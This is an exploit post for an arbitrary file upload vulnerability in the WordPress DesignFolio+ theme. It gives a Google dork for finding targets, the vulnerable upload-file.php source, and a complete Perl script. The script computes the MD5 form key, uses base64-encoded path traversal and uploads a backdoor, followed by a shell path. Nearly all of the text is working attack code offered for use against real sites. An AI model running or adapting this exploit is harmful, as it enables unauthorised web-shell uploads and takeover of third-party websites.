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WordPress DesignFolio+ Theme File Upload

Posted on 02 April 2015

######################################################### # Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability # Google dork: inurl:wp-content/themes/DesignFolio-Plus # Author: CrashBandicot # Date: 04.03.2015 # OSVDB-ID: 119623 # Vendor HomePage: https://github.com/UpThemes/DesignFolio-Plus # Software Link: https://github.com/UpThemes/DesignFolio-Plus/archive/master.zip # tested on : MsWin32 ######################################################### Vulnerable File : upload-file.php <?php //Upload Security $upload_security = md5($_SERVER['SERVER_ADDR']); $uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/"; if( $_FILES[$upload_security] ): $file = $_FILES[$upload_security]; $file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name']))))); if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)): if(chmod($file,0777)): echo "success"; else: echo "error".$_FILES[$upload_security]['tmp_name']; endif; else: echo "error".$_FILES[$upload_security]['tmp_name']; endif; endif; ?> Exploit #!/usr/bin/perl use Digest::MD5 qw(md5 md5_hex); use MIME::Base64; use IO::Socket; use LWP::UserAgent; system(($^O eq 'MSWin32') ? 'cls' : 'clear'); print " ! *** # ^_^ # *** ! :p "; $use = " [!] ./$0 127.0.0.1 backdoor.php"; ($target ,$file) = @ARGV; die "$use" unless $ARGV[0] && $ARGV[1]; if($target =~ /http://(.*)//){ $target = $1; } elsif($target =~ /http://(.*)/){ $target = $1; } elsif($target =~ /https://(.*)//){ $target = $1; } elsif($target =~ /https://(.*)/){ $target = $1; } my $addr = inet_ntoa((gethostbyname($target))[4]); my $digest = md5_hex($addr); my $dir = encode_base64('../../../../'); my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},); $pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]); if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print " [-] Bad Response Header :/ FAIL"; } __END__ # File path: http://target/shell.php

 

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